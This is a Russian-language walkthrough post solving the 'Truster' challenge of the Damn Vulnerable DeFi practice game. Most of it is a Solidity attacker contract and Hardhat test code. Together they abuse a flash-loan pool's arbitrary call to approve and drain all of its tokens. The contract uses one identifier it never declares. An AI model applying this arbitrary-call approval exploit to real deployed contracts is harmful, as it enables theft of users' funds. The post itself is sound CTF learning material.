Damn Vulnerable Defi. Задача 3. Truster
В чем суть?
Есть контракт с балансом 1 млн токенов DVT. Нам нужно захватить их все.
В этой задаче нужно обратить внимание на количество аргументов, которые принимает функция, а также что позже она просто вызывает функцию в токене ( target.functionCall(data)), в надежде, что она будет обрабатывать возврат денег. Этим мы и воспользуемся.
Для начала напишем простой контракт:
contract AttackerPool {
IERC20 public immutable dvd;
TrusterLenderPool private immutable pool;
constructor (address tokenAddress, address poolAddress) {
dvd = IERC20(tokenAddress);
pool = TrusterLenderPool(poolAddress);
}
function attack( address attacker) public {
uint256 poolBalance = dvd.balanceOf(address(pool));
pool.flashLoan(0, address(this), address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance));
}
receive () external payable {}
}
И четвертым аргументом передадим функцию approve(), которая одобрит адрес хакера на перевод всех токенов.
После чего пишем свое решение в тестах:
const AttackerContractFactory = await ethers.getContractFactory('AttackerPool', deployer);
const attackerContract = await AttackerContractFactory.deploy(this.token.address, this.pool.address);
await attackerContract.connect(attacker).attack(attacker.address);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
Делаем деплой контракта, подключаемся от адреса хакера, вызываем функцию атаки, а потом просто перебрасываем токены к себе на баланс.
Делаем проверку yarn run truster и гордимся результатом.
#dvd #DamnVulnerableDefi
Post #442
177
- 👍 1